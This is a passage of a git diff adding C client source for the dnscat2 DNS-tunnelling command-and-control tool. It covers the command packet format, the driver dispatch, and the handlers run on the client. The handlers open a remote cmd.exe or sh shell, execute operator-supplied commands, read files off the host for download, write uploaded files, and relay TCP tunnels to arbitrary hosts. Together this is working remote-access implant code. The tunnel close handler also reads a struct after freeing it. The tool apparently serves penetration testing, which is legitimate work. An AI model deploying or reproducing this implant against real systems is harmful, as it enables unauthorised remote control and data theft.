if(packet->r.request.body.tunnel_connect.host) + safe_free(packet->r.request.body.tunnel_connect.host); + } + else + { + } + break; + + case TUNNEL_DATA: + if(packet->is_request) + { + if(packet->r.request.body.tunnel_data.data) + safe_free(packet->r.request.body.tunnel_data.data); + } + else + { + } + break; + + case TUNNEL_CLOSE: + if(packet->is_request) + { + if(packet->r.request.body.error.reason) + safe_free(packet->r.request.body.error.reason); + } + else + { + } + break; + + case COMMAND_ERROR: + if(packet->is_request) + { + if(packet->r.request.body.error.reason) + safe_free(packet->r.request.body.error.reason); + } + break; + + + default: + LOG_FATAL("Unknown command_id: 0x%04x", packet->command_id); + exit(1); + } + + safe_free(packet); +} + +/* Print the packet (debugging, mostly) */ +void command_packet_print(command_packet_t *packet) +{ + switch(packet->command_id) + { + case COMMAND_PING: + if(packet->is_request) + printf("COMMAND_PING [request] :: request_id: 0x%04x :: data: %s\n", packet->request_id, packet->r.request.body.ping.data); + else + printf("COMMAND_PING [response] :: request_id: 0x%04x :: data: %s\n", packet->request_id, packet->r.response.body.ping.data); + break; + + case COMMAND_SHELL: + if(packet->is_request) + printf("COMMAND_SHELL [request] :: request_id: 0x%04x :: name: %s\n", packet->request_id, packet->r.request.body.shell.name); + else + printf("COMMAND_SHELL [response] :: request_id: 0x%04x :: session_id: 0x%04x\n", packet->request_id, packet->r.response.body.shell.session_id); + break; + + case COMMAND_EXEC: + if(packet->is_request) + printf("COMMAND_EXEC [request] :: request_id: 0x%04x :: name: %s :: command: %s\n", packet->request_id, packet->r.request.body.exec.name, packet->r.request.body.exec.command); + else + printf("COMMAND_EXEC [response] :: request_id: 0x%04x :: session_id: 0x%04x\n", packet->request_id, packet->r.response.body.exec.session_id); + break; + + case COMMAND_DOWNLOAD: + if(packet->is_request) + printf("COMMAND_DOWNLOAD [request] :: request_id: 0x%04x :: filename: %s\n", packet->request_id, packet->r.request.body.download.filename); + else + printf("COMMAND_DOWNLOAD [response] :: request_id: 0x%04x :: data: 0x%x bytes\n", packet->request_id, (int)packet->r.response.body.download.length); + break; + + case COMMAND_UPLOAD: + if(packet->is_request) + printf("COMMAND_UPLOAD [request] :: request_id: 0x%04x :: filename: %s :: data: 0x%x bytes\n", packet->request_id, packet->r.request.body.upload.filename, (int)packet->r.request.body.upload.length); + else + printf("COMMAND_UPLOAD [response] :: request_id: 0x%04x\n", packet->request_id); + break; + + case COMMAND_SHUTDOWN: + if(packet->is_request) + printf("COMMAND_SHUTDOWN [request] :: request_id 0x%04x\n", packet->request_id); + else + printf("COMMAND_SHUTDOWN [response] :: request_id 0x%04x\n", packet->request_id); + break; + + case COMMAND_DELAY: + if(packet->is_request) + printf("COMMAND_DELAY [request] :: request_id 0x%04x :: delay %d\n", packet->request_id, packet->r.request.body.delay.delay); + else + printf("COMMAND_DELAY [response] :: request_id 0x%04x\n", packet->request_id); + break; + + case TUNNEL_CONNECT: + if(packet->is_request) + printf("TUNNEL_CONNECT [request] :: request_id 0x%04x :: host %s :: port %d\n", packet->request_id, packet->r.request.body.tunnel_connect.host, packet->r.request.body.tunnel_connect.port); + else + { + printf("TUNNEL_CONNECT [response] :: request_id 0x%04x :: tunnel_id %d\n", packet->request_id, packet->r.response.body.tunnel_connect.tunnel_id); + } + break; + + case TUNNEL_DATA: + if(packet->is_request) + printf("TUNNEL_DATA [request] :: request_id 0x%04x :: tunnel_id %d :: data %zd bytes\n", packet->request_id, packet->r.request.body.tunnel_data.tunnel_id, packet->r.request.body.tunnel_data.length); + else + printf("TUNNEL_DATA [response] :: request_id 0x%04x :: this shouldn't actually exist\n", packet->request_id); + break; + + case TUNNEL_CLOSE: + if(packet->is_request) + printf("TUNNEL_CLOSE [request] :: request_id 0x%04x :: tunnel_id %d :: reason %s\n", packet->request_id, packet->r.request.body.tunnel_close.tunnel_id, packet->r.request.body.tunnel_close.reason); + else + printf("TUNNEL_CLOSE [response] :: request_id 0x%04x :: this shouldn't actually exist\n", packet->request_id); + break; + + case COMMAND_ERROR: + if(packet->is_request) + printf("COMMAND_ERROR [request] :: request_id: 0x%04x :: status: 0x%04x :: reason: %s\n", packet->request_id, packet->r.request.body.error.status, packet->r.request.body.error.reason); + else + printf("COMMAND_ERROR [response] :: request_id: 0x%04x :: status: 0x%04x :: reason: %s\n", packet->request_id, packet->r.response.body.error.status, packet->r.response.body.error.reason); + break; + } +} + +/* Needs to be freed with safe_free() */ +uint8_t *command_packet_to_bytes(command_packet_t *packet, size_t *length) +{ + buffer_t *buffer = buffer_create(BO_BIG_ENDIAN); + buffer_t *buffer_with_size = buffer_create(BO_BIG_ENDIAN); + uint16_t packed_id; + + packed_id = (packet->is_request ? 0x0000 : 0x8000); + packed_id |= (packet->request_id & 0x7FFF); + buffer_add_int16(buffer, packed_id); + + buffer_add_int16(buffer, packet->command_id); + + switch(packet->command_id) + { + case COMMAND_PING: + if(packet->is_request) + buffer_add_ntstring(buffer, packet->r.request.body.ping.data); + else + buffer_add_ntstring(buffer, packet->r.response.body.ping.data); + + break; + + case COMMAND_SHELL: + if(packet->is_request) + buffer_add_ntstring(buffer, packet->r.request.body.shell.name); + else + buffer_add_int16(buffer, packet->r.response.body.shell.session_id); + break; + + case COMMAND_EXEC: + if(packet->is_request) + { + buffer_add_ntstring(buffer, packet->r.request.body.exec.name); + buffer_add_ntstring(buffer, packet->r.request.body.exec.command); + } + else + { + buffer_add_int16(buffer, packet->r.response.body.exec.session_id); + } + break; + + case COMMAND_DOWNLOAD: + if(packet->is_request) + { + buffer_add_ntstring(buffer, packet->r.request.body.download.filename); + } + else + { + buffer_add_bytes(buffer, packet->r.response.body.download.data, packet->r.response.body.download.length); + } + break; + + case COMMAND_UPLOAD: + if(packet->is_request) + { + buffer_add_ntstring(buffer, packet->r.request.body.upload.filename); + buffer_add_bytes(buffer, packet->r.request.body.upload.data, packet->r.request.body.upload.length); + } + else + { + } + break; + + case COMMAND_SHUTDOWN: + break; + + case COMMAND_DELAY: + if(packet->is_request) + { + buffer_add_int32(buffer, packet->r.request.body.delay.delay); + } + break; + + case TUNNEL_CONNECT: + if(packet->is_request) + { + buffer_add_int32(buffer, packet->r.request.body.tunnel_connect.options); + buffer_add_ntstring(buffer, packet->r.request.body.tunnel_connect.host); + buffer_add_int16(buffer, packet->r.request.body.tunnel_connect.port); + } + else + { + buffer_add_int32(buffer, packet->r.response.body.tunnel_connect.tunnel_id); + } + break; + + case TUNNEL_DATA: + if(packet->is_request) + { + buffer_add_int32(buffer, packet->r.request.body.tunnel_data.tunnel_id); + buffer_add_bytes(buffer, packet->r.request.body.tunnel_data.data, packet->r.request.body.tunnel_data.length); + } + else + { + } + break; + + case TUNNEL_CLOSE: + if(packet->is_request) + { + buffer_add_int32(buffer, packet->r.request.body.tunnel_close.tunnel_id); + buffer_add_ntstring(buffer, packet->r.request.body.tunnel_close.reason); + } + else + { + } + break; + + case COMMAND_ERROR: + if(packet->is_request) + { + buffer_add_int16(buffer, packet->r.request.body.error.status); + buffer_add_ntstring(buffer, packet->r.request.body.error.reason); + } + else + { + buffer_add_int16(buffer, packet->r.response.body.error.status); + buffer_add_ntstring(buffer, packet->r.response.body.error.reason); + } + break; + + + default: + LOG_FATAL("Unknown command_id: 0x%04x", packet->command_id); + exit(1); + } + + buffer_add_int32(buffer_with_size, buffer_get_length(buffer)); + buffer_add_buffer(buffer_with_size, buffer); + buffer_destroy(buffer); + + return buffer_create_string_and_destroy(buffer_with_size, length); +} diff --git a/client/drivers/command/command_packet.h b/client/drivers/command/command_packet.h new file mode 100644 index 0000000..0c4422e --- /dev/null +++ b/client/drivers/command/command_packet.h @@ -0,0 +1,135 @@ +/* command_packet.h + * By Ron Bowes + * Created May, 2014 + * + * See LICENSE.md + * + * A class for creating and parsing dnscat command protocol packets. + */ +#ifndef __COMMAND_PACKET_H__ +#define __COMMAND_PACKET_H__ + +#include + +#include "libs/buffer.h" +#include "libs/types.h" + +#ifdef WIN32 +#include "libs/pstdint.h" +#else +#include +#endif + +/* Just make sure it doesn't overflow, basically */ +#define MAX_COMMAND_PACKET_SIZE 0x7FFFFF00 + +typedef enum +{ + COMMAND_PING = 0x0000, + COMMAND_SHELL = 0x0001, + COMMAND_EXEC = 0x0002, + COMMAND_DOWNLOAD = 0x0003, + COMMAND_UPLOAD = 0x0004, + COMMAND_SHUTDOWN = 0x0005, + COMMAND_DELAY = 0x0006, + + TUNNEL_CONNECT = 0x1000, + TUNNEL_DATA = 0x1001, + TUNNEL_CLOSE = 0x1002, + + COMMAND_ERROR = 0xFFFF, +} command_packet_type_t; + +typedef enum +{ + TUNNEL_STATUS_FAIL = 0x8000, +} tunnel_status_t; + +typedef struct +{ + uint16_t request_id; + command_packet_type_t command_id; + NBBOOL is_request; + + union + { + struct + { + union { + struct { char *data; } ping; + struct { char *name; } shell; + struct { char *name; char *command; } exec; + struct { char *filename; } download; + struct { char *filename; uint8_t *data; uint32_t length; } upload; + struct { int dummy; } shutdown; + struct { uint32_t delay; } delay; + struct { uint32_t options; char *host; uint16_t port; } tunnel_connect; + struct { uint32_t tunnel_id; uint8_t *data; size_t length; } tunnel_data; + struct { uint32_t tunnel_id; char *reason; } tunnel_close; + struct { uint16_t status; char *reason; } error; + } body; + } request; + + struct + { + union { + struct { char *data; } ping; + struct { uint16_t session_id; } shell; + struct { uint16_t session_id; } exec; + struct { uint8_t *data; uint32_t length; } download; + struct { int dummy; } upload; + struct { int dummy; } shutdown; + struct { int dummy; } delay; + struct { uint16_t status; uint32_t tunnel_id; } tunnel_connect; + struct { int dummy; } tunnel_data; + struct { int dummy; } tunnel_close; + struct { uint16_t status; char *reason; } error; + } body; + } response; + } r; +} command_packet_t; + +/* Parse a packet from a byte stream. */ +command_packet_t *command_packet_read(buffer_t *buffer); + +/* Create a packet with the given characteristics. */ +command_packet_t *command_packet_create_ping_request(uint16_t request_id, char *data); +command_packet_t *command_packet_create_ping_response(uint16_t request_id, char *data); + +command_packet_t *command_packet_create_shell_request(uint16_t request_id, char *name); +command_packet_t *command_packet_create_shell_response(uint16_t request_id, uint16_t session_id); + +command_packet_t *command_packet_create_exec_request(uint16_t request_id, char *name, char *command); +command_packet_t *command_packet_create_exec_response(uint16_t request_id, uint16_t session_id); + +command_packet_t *command_packet_create_download_request(uint16_t request_id, char *filename); +command_packet_t *command_packet_create_download_response(uint16_t request_id, uint8_t *data, uint32_t length); + +command_packet_t *command_packet_create_upload_request(uint16_t request_id, char *filename, uint8_t *data, uint32_t length); +command_packet_t *command_packet_create_upload_response(uint16_t request_id); + +command_packet_t *command_packet_create_shutdown_response(uint16_t request_id); + +command_packet_t *command_packet_create_delay_response(uint16_t request_id); + +command_packet_t *command_packet_create_tunnel_connect_request(uint16_t request_id, uint32_t options, char *host, uint16_t port); +command_packet_t *command_packet_create_tunnel_connect_response(uint16_t request_id, uint32_t tunnel_id); + +command_packet_t *command_packet_create_tunnel_data_request(uint16_t request_id, uint32_t tunnel_id, uint8_t *data, uint32_t length); + +command_packet_t *command_packet_create_tunnel_close_request(uint16_t request_id, uint32_t tunnel_id, char *reason); + +command_packet_t *command_packet_create_error_request(uint16_t request_id, uint16_t status, char *reason); +command_packet_t *command_packet_create_error_response(uint16_t request_id, uint16_t status, char *reason); + + +/* Free the packet data structures. */ +void command_packet_destroy(command_packet_t *packet); + +/* Print the packet (debugging, mostly) */ +void command_packet_print(command_packet_t *packet); + +/* Needs to be freed with safe_free() */ +uint8_t *command_packet_to_bytes(command_packet_t *packet, size_t *length); + +#endif diff --git a/client/drivers/command/commands_standard.h b/client/drivers/command/commands_standard.h new file mode 100644 index 0000000..78eba4a --- /dev/null +++ b/client/drivers/command/commands_standard.h @@ -0,0 +1,133 @@ +/* commands_standard.c + * By Ron Bowes + * Created December, 2015 + * + * See LICENSE.md + * + * Despite the name, this isn't realllly a header file. I moved some of + * the functions into it to keep them better organized. + */ + +static command_packet_t *handle_ping(driver_command_t *driver, command_packet_t *in) +{ + if(!in->is_request) + return NULL; + + LOG_WARNING("Got a ping request! Responding!"); + return command_packet_create_ping_response(in->request_id, in->r.request.body.ping.data); +} + +static command_packet_t *handle_shell(driver_command_t *driver, command_packet_t *in) +{ + session_t *session = NULL; + + if(!in->is_request) + return NULL; + +#ifdef WIN32 + session = session_create_exec(driver->group, "cmd.exe", "cmd.exe"); +#else + session = session_create_exec(driver->group, "sh", "sh"); +#endif + controller_add_session(session); + + return command_packet_create_shell_response(in->request_id, session->id); +} + +static command_packet_t *handle_exec(driver_command_t *driver, command_packet_t *in) +{ + session_t *session = NULL; + + if(!in->is_request) + return NULL; + + session = session_create_exec(driver->group, in->r.request.body.exec.name, in->r.request.body.exec.command); + controller_add_session(session); + + return command_packet_create_exec_response(in->request_id, session->id); +} + +static command_packet_t *handle_download(driver_command_t *driver, command_packet_t *in) +{ + struct stat s; + uint8_t *data; + FILE *f = NULL; + command_packet_t *out = NULL; + + if(!in->is_request) + return NULL; + + if(stat(in->r.request.body.download.filename, &s) != 0) + return command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); + +#ifdef WIN32 + fopen_s(&f, in->r.request.body.download.filename, "rb"); +#else + f = fopen(in->r.request.body.download.filename, "rb"); +#endif + if(!f) + return command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); + + data = safe_malloc(s.st_size); + if(fread(data, 1, s.st_size, f) == s.st_size) + out = command_packet_create_download_response(in->request_id, data, s.st_size); + else + out = command_packet_create_error_response(in->request_id, -1, "There was an error reading the file"); + + fclose(f); + safe_free(data); + + return out; +} + +static command_packet_t *handle_upload(driver_command_t *driver, command_packet_t *in) +{ + FILE *f; + + if(!in->is_request) + return NULL; + +#ifdef WIN32 + fopen_s(&f, in->r.request.body.upload.filename, "wb"); +#else + f = fopen(in->r.request.body.upload.filename, "wb"); +#endif + + if(!f) + return command_packet_create_error_response(in->request_id, -1, "Error opening file for writing"); + + fwrite(in->r.request.body.upload.data, in->r.request.body.upload.length, 1, f); + fclose(f); + + return command_packet_create_upload_response(in->request_id); +} + +static command_packet_t *handle_shutdown(driver_command_t *driver, command_packet_t *in) +{ + if(!in->is_request) + return NULL; + + controller_kill_all_sessions(); + + return command_packet_create_shutdown_response(in->request_id); +} + +static command_packet_t *handle_delay(driver_command_t *driver, command_packet_t *in) +{ + if(!in->is_request) + return NULL; + + session_set_delay(in->r.request.body.delay.delay); + + return command_packet_create_delay_response(in->request_id); +} + +static command_packet_t *handle_error(driver_command_t *driver, command_packet_t *in) +{ + if(!in->is_request) + LOG_ERROR("An error response was returned: %d -> %s", in->r.response.body.error.status, in->r.response.body.error.reason); + else + LOG_ERROR("An error request was sent (weird?): %d -> %s", in->r.request.body.error.status, in->r.request.body.error.reason); + + return NULL; +} diff --git a/client/drivers/command/commands_tunnel.h b/client/drivers/command/commands_tunnel.h new file mode 100644 index 0000000..ef477aa --- /dev/null +++ b/client/drivers/command/commands_tunnel.h @@ -0,0 +1,183 @@ +/* commands_tunnel.c + * By Ron Bowes + * Created December, 2015 + * + * See LICENSE.md + * + * Despite the name, this isn't realllly a header file. I moved some of + * the functions into it to keep them better organized. + */ + +static uint32_t g_tunnel_id = 0; + +typedef struct +{ + uint32_t tunnel_id; + int s; + driver_command_t *driver; + uint16_t connect_request_id; + char *host; + uint16_t port; +} tunnel_t; + +static void send_and_free(buffer_t *outgoing_data, command_packet_t *out) +{ + uint8_t *out_data = NULL; + size_t out_length; + + out_data = command_packet_to_bytes(out, &out_length); + buffer_add_bytes(outgoing_data, out_data, out_length); + safe_free(out_data); + command_packet_destroy(out); +} + +static SELECT_RESPONSE_t tunnel_data_in(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param) +{ + tunnel_t *tunnel = (tunnel_t*) param; + command_packet_t *out = NULL; + + LOG_INFO("[Tunnel %d] Received %zd bytes of data from server; forwarding to client", tunnel->tunnel_id, length); + + out = command_packet_create_tunnel_data_request(request_id(), tunnel->tunnel_id, data, length); + send_and_free(tunnel->driver->outgoing_data, out); + + return SELECT_OK; +} + +static SELECT_RESPONSE_t tunnel_closed(void *group, int s, void *param) +{ + tunnel_t *tunnel = (tunnel_t*) param; + command_packet_t *out = NULL; + + LOG_WARNING("[Tunnel %d] connection to %s:%d closed by the server!", tunnel->tunnel_id, tunnel->host, tunnel->port); + + /* Queue up a packet letting the server know the connection is gone. */ + out = command_packet_create_tunnel_close_request(request_id(), tunnel->tunnel_id, "Server closed the connection"); + send_and_free(tunnel->driver->outgoing_data, out); + + /* Remove the tunnel from the linked list of tunnels. */ + ll_remove(tunnel->driver->tunnels, ll_32(tunnel->tunnel_id)); + safe_free(tunnel->host); + safe_free(tunnel); + + /* Close the socket. */ + tcp_close(tunnel->s); + + return SELECT_REMOVE; +} + +static SELECT_RESPONSE_t tunnel_error(void *group, int s, int err, void *param) +{ + tunnel_t *tunnel = (tunnel_t*) param; + command_packet_t *out = NULL; + + LOG_WARNING("[Tunnel %d] connection to %s:%d closed because of error %d", tunnel->tunnel_id, tunnel->host, tunnel->port, err); + + /* Queue up a packet letting the server know the connection is gone. */ + out = command_packet_create_tunnel_close_request(request_id(), tunnel->tunnel_id, "Connection error"); + send_and_free(tunnel->driver->outgoing_data, out); + + /* Remove the tunnel from the linked list of tunnels. */ + ll_remove(tunnel->driver->tunnels, ll_32(tunnel->tunnel_id)); + safe_free(tunnel->host); + safe_free(tunnel); + + /* Close the socket. */ + tcp_close(tunnel->s); + + return SELECT_REMOVE; +} + +static SELECT_RESPONSE_t tunnel_ready(void *group, int s, void *param) +{ + tunnel_t *tunnel = (tunnel_t*) param; + command_packet_t *out = NULL; + + LOG_WARNING("[Tunnel %d] connected to %s:%d!", tunnel->tunnel_id, tunnel->host, tunnel->port); + + /* Queue up a packet letting the server know the connection is ready. */ + out = command_packet_create_tunnel_connect_response(tunnel->connect_request_id, tunnel->tunnel_id); + send_and_free(tunnel->driver->outgoing_data, out); + + return SELECT_OK; +} + +static command_packet_t *handle_tunnel_connect(driver_command_t *driver, command_packet_t *in) +{ + command_packet_t *out = NULL; + tunnel_t *tunnel = NULL; + + if(!in->is_request) + return NULL; + + /* Set up the tunnel object. */ + tunnel = (tunnel_t*)safe_malloc(sizeof(tunnel_t)); + tunnel->tunnel_id = g_tunnel_id++; + tunnel->connect_request_id = in->request_id; + tunnel->driver = driver; + tunnel->host = safe_strdup(in->r.request.body.tunnel_connect.host); + tunnel->port = in->r.request.body.tunnel_connect.port; + LOG_WARNING("[Tunnel %d] connecting to %s:%d...", tunnel->tunnel_id, tunnel->host, tunnel->port); + + /* Do the actual connection. */ + tunnel->s = tcp_connect_options(in->r.request.body.tunnel_connect.host, in->r.request.body.tunnel_connect.port, TRUE); + + if(tunnel->s == -1) + { + out = command_packet_create_error_response(in->request_id, TUNNEL_STATUS_FAIL, "The dnscat2 client couldn't connect to the remote host!"); + } + else + { + /* Add the driver to the global list. */ + ll_add(driver->tunnels, ll_32(tunnel->tunnel_id), tunnel); + + /* Add the socket to the socket_group and set up various callbacks. */ + select_group_add_socket(driver->group, tunnel->s, SOCKET_TYPE_STREAM, tunnel); + select_set_recv(driver->group, tunnel->s, tunnel_data_in); + select_set_closed(driver->group, tunnel->s, tunnel_closed); + select_set_ready(driver->group, tunnel->s, tunnel_ready); + select_set_error(driver->group, tunnel->s, tunnel_error); + + /* Don't respond to the packet... yet! */ + out = NULL; + } + + return out; +} + +static command_packet_t *handle_tunnel_data(driver_command_t *driver, command_packet_t *in) +{ + /* TODO: Find socket by tunnel_id */ + tunnel_t *tunnel = (tunnel_t *)ll_find(driver->tunnels, ll_32(in->r.request.body.tunnel_data.tunnel_id)); + if(!tunnel) + { + LOG_ERROR("Couldn't find tunnel: %d", in->r.request.body.tunnel_data.tunnel_id); + return NULL; + } + + LOG_INFO("[Tunnel %d] Received %zd bytes of data from client; forwarding to server", tunnel->tunnel_id, in->r.request.body.tunnel_data.length); + tcp_send(tunnel->s, in->r.request.body.tunnel_data.data, in->r.request.body.tunnel_data.length); + + return NULL; +} + +static command_packet_t *handle_tunnel_close(driver_command_t *driver, command_packet_t *in) +{ + tunnel_t *tunnel = (tunnel_t *)ll_remove(driver->tunnels, ll_32(in->r.request.body.tunnel_data.tunnel_id)); + + if(!tunnel) + { + LOG_ERROR("The server tried to close a tunnel that we don't know about: %d", in->r.request.body.tunnel_data.tunnel_id); + return NULL; + } + + LOG_WARNING("[Tunnel %d] connection to %s:%d closed by the client: %s", tunnel->tunnel_id, tunnel->host, tunnel->port, in->r.request.body.tunnel_close.reason); + + select_group_remove_socket(driver->group, tunnel->s); + tcp_close(tunnel->s); + safe_free(tunnel->host); + safe_free(tunnel); + + return NULL; +} + diff --git a/client/drivers/command/driver_command.c b/client/drivers/command/driver_command.c new file mode 100644 index 0000000..9704ec1 --- /dev/null +++ b/client/drivers/command/driver_command.c @@ -0,0 +1,169 @@ +/* driver_command.c + * By Ron Bowes + * Created May, 2014 + * + * See LICENSE.md + */ + +#include +#include +#include +#include +#include +#include + +#ifndef WIN32 +#include +#endif + +#include "command_packet.h" +#include "controller/session.h" +#include "controller/controller.h" +#include "drivers/driver_exec.h" +#include "libs/log.h" +#include "libs/memory.h" +#include "libs/select_group.h" +#include "libs/tcp.h" +#include "libs/types.h" + +#include "driver_command.h" + +static uint16_t request_id() +{ + static uint16_t request_id = 0; + + return request_id++; +} + +/* I moved some functions into other files for better organization; + * this includes them. */ +#include "commands_standard.h" +#include "commands_tunnel.h" + +void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length) +{ + command_packet_t *in = NULL; + command_packet_t *out = NULL; + + buffer_add_bytes(driver->stream, data, length); + + while((in = command_packet_read(driver->stream))) + { + /* TUNNEL_DATA commands are too noisy to print. */ + if(in->command_id != TUNNEL_DATA) + { + printf("Got a command: "); + command_packet_print(in); + } + + switch(in->command_id) + { + case COMMAND_PING: + out = handle_ping(driver, in); + break; + + case COMMAND_SHELL: + out = handle_shell(driver, in); + break; + + case COMMAND_EXEC: + out = handle_exec(driver, in); + break; + + case COMMAND_DOWNLOAD: + out = handle_download(driver, in); + break; + + case COMMAND_UPLOAD: + out = handle_upload(driver, in); + break; + + case COMMAND_SHUTDOWN: + out = handle_shutdown(driver, in); + break; + + case COMMAND_DELAY: + out = handle_delay(driver, in); + break; + + case TUNNEL_CONNECT: + out = handle_tunnel_connect(driver, in); + break; + + case TUNNEL_DATA: + out = handle_tunnel_data(driver, in); + break; + + case TUNNEL_CLOSE: + out = handle_tunnel_close(driver, in); + break; + + case COMMAND_ERROR: + out = handle_error(driver, in); + break; + + default: + LOG_ERROR("Got a command packet that we don't know how to handle!\n"); + out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!"); + } + + /* Respond if and only if an outgoing packet was created. */ + if(out) + { + uint8_t *data; + size_t length; + + if(out->command_id != TUNNEL_DATA) + { + printf("Response: "); + command_packet_print(out); + } + + data = command_packet_to_bytes(out, &length); + buffer_add_bytes(driver->outgoing_data, data, length); + safe_free(data); + command_packet_destroy(out); + } + command_packet_destroy(in); + } +} + +uint8_t *driver_command_get_outgoing(driver_command_t *driver, size_t *length, size_t max_length) +{ + /* If the driver has been killed and we have no bytes left, return NULL to close the session. */ + if(driver->is_shutdown && buffer_get_remaining_bytes(driver->outgoing_data) == 0) + return NULL; + + return buffer_read_remaining_bytes(driver->outgoing_data, length, max_length, TRUE); +} + +driver_command_t *driver_command_create(select_group_t *group) +{ + driver_command_t *driver = (driver_command_t*) safe_malloc(sizeof(driver_command_t)); + + driver->stream = buffer_create(BO_BIG_ENDIAN); + driver->group = group; + driver->is_shutdown = FALSE; + driver->outgoing_data = buffer_create(BO_LITTLE_ENDIAN); + driver->tunnels = ll_create(NULL); + + return driver; +} + +void driver_command_destroy(driver_command_t *driver) +{ + if(!driver->is_shutdown) + driver_command_close(driver); + + if(driver->name) + safe_free(driver->name); + + if(driver->stream) + buffer_destroy(driver->stream); + safe_free(driver); +} + +void driver_command_close(driver_command_t *driver) +{ + driver->is_shutdown = TRUE; +} diff --git a/client/drivers/command/driver_command.h b/client/drivers/command/driver_command.h new file mode 100644 index 0000000..1e2aa93 --- /dev/null +++ b/client/drivers/command/driver_command.h @@ -0,0 +1,33 @@ +/* driver_command.h + * By Ron Bowes + * Created May, 2014 + * + * See LICENSE.md + */ + +#ifndef __DRIVER_command_H__ +#define __DRIVER_command_H__ + +#include "command_packet.h" +#include "libs/ll.h" +#include "libs/select_group.h" +#include "libs/types.h" + +typedef struct +{ + char *name; + uint16_t session_id; + buffer_t *stream; + select_group_t *group; + buffer_t *outgoing_data; + NBBOOL is_shutdown; + ll_t *tunnels; +} driver_command_t; + +driver_command_t *driver_command_create(select_group_t *group); +void driver_command_destroy(driver_command_t *driver); +void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length); +uint8_t *driver_command_get_outgoing(driver_command_t *driver, size_t *length, size_t max_length); +void driver_command_close(driver_command_t *driver); + +#endif diff --git a/client/drivers/driver.c b/client/drivers/driver.c new file mode 100644 index 0000000..ef61688 --- /dev/null +++ b/client/drivers/driver.c @@ -0,0 +1,163 @@ +/* driver.c + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include +#include + +#ifndef WIN32 +#include +#endif + +#include "libs/log.h" +#include "libs/memory.h" +#include "driver_console.h" + +#include "driver.h" + +driver_t *driver_create(driver_type_t type, void *real_driver) +{ + driver_t *driver = (driver_t *)safe_malloc(sizeof(driver_t)); + driver->type = type; + + switch(type) + { + case DRIVER_TYPE_CONSOLE: + driver->real_driver.console = (driver_console_t*) real_driver; + break; + + case DRIVER_TYPE_EXEC: + driver->real_driver.exec = (driver_exec_t*) real_driver; + break; + + case DRIVER_TYPE_COMMAND: + driver->real_driver.command = (driver_command_t*) real_driver; + break; + + case DRIVER_TYPE_PING: + driver->real_driver.ping = (driver_ping_t*) real_driver; + break; + + default: + LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_create)\n", type); + exit(1); + break; + } + + return driver; +} + +void driver_destroy(driver_t *driver) +{ + switch(driver->type) + { + case DRIVER_TYPE_CONSOLE: + driver_console_destroy(driver->real_driver.console); + break; + + case DRIVER_TYPE_EXEC: + driver_exec_destroy(driver->real_driver.exec); + break; + + case DRIVER_TYPE_COMMAND: + driver_command_destroy(driver->real_driver.command); + break; + + case DRIVER_TYPE_PING: + driver_ping_destroy(driver->real_driver.ping); + break; + + default: + LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_destroy)\n", driver->type); + exit(1); + break; + } + + safe_free(driver); +} + +void driver_close(driver_t *driver) +{ + switch(driver->type) + { + case DRIVER_TYPE_CONSOLE: + driver_console_close(driver->real_driver.console); + break; + + case DRIVER_TYPE_EXEC: + driver_exec_close(driver->real_driver.exec); + break; + + case DRIVER_TYPE_COMMAND: + driver_command_close(driver->real_driver.command); + break; + + case DRIVER_TYPE_PING: + driver_ping_close(driver->real_driver.ping); + break; + + default: + LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_close)\n", driver->type); + exit(1); + break; + } +} + +void driver_data_received(driver_t *driver, uint8_t *data, size_t length) +{ + switch(driver->type) + { + case DRIVER_TYPE_CONSOLE: + driver_console_data_received(driver->real_driver.console, data, length); + break; + + case DRIVER_TYPE_EXEC: + driver_exec_data_received(driver->real_driver.exec, data, length); + break; + + case DRIVER_TYPE_COMMAND: + driver_command_data_received(driver->real_driver.command, data, length); + break; + + case DRIVER_TYPE_PING: + driver_ping_data_received(driver->real_driver.ping, data, length); + break; + + default: + LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_data_received)\n", driver->type); + exit(1); + break; + } +} + +uint8_t *driver_get_outgoing(driver_t *driver, size_t *length, size_t max_length) +{ + switch(driver->type) + { + case DRIVER_TYPE_CONSOLE: + return driver_console_get_outgoing(driver->real_driver.console, length, max_length); + break; + + case DRIVER_TYPE_EXEC: + return driver_exec_get_outgoing(driver->real_driver.exec, length, max_length); + break; + + case DRIVER_TYPE_COMMAND: + return driver_command_get_outgoing(driver->real_driver.command, length, max_length); + break; + + case DRIVER_TYPE_PING: + return driver_ping_get_outgoing(driver->real_driver.ping, length, max_length); + break; + + default: + LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_get_outgoing)\n", driver->type); + exit(1); + break; + } +} + diff --git a/client/drivers/driver.h b/client/drivers/driver.h new file mode 100644 index 0000000..e8414a9 --- /dev/null +++ b/client/drivers/driver.h @@ -0,0 +1,45 @@ +/* driver.h + * By Ron Bowes + * + * See LICENSE.md + * + * This is basically a hack to make a polymorphic class in C. It just lets + * other stuff call functions, and passes it to the appropriate implementation. + */ + +#ifndef __DRIVER_H__ +#define __DRIVER_H__ + +#include "driver_console.h" +#include "driver_exec.h" +#include "driver_ping.h" +#include "drivers/command/driver_command.h" + +typedef enum +{ + DRIVER_TYPE_CONSOLE, + DRIVER_TYPE_EXEC, + DRIVER_TYPE_COMMAND, + DRIVER_TYPE_PING, +} driver_type_t; + +typedef struct +{ + driver_type_t type; + + union + { + driver_console_t *console; + driver_exec_t *exec; + driver_command_t *command; + driver_ping_t *ping; + } real_driver; +} driver_t; + +driver_t *driver_create(driver_type_t type, void *real_driver); +void driver_destroy(driver_t *driver); +void driver_close(driver_t *driver); +void driver_data_received(driver_t *driver, uint8_t *data, size_t length); +uint8_t *driver_get_outgoing(driver_t *driver, size_t *length, size_t max_length); + +#endif diff --git a/client/drivers/driver_console.c b/client/drivers/driver_console.c new file mode 100644 index 0000000..1b21e5c --- /dev/null +++ b/client/drivers/driver_console.c @@ -0,0 +1,100 @@ +/* driver_console.c + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include +#include + +#ifndef WIN32 +#include +#endif + +#include "libs/buffer.h" +#include "libs/log.h" +#include "libs/memory.h" +#include 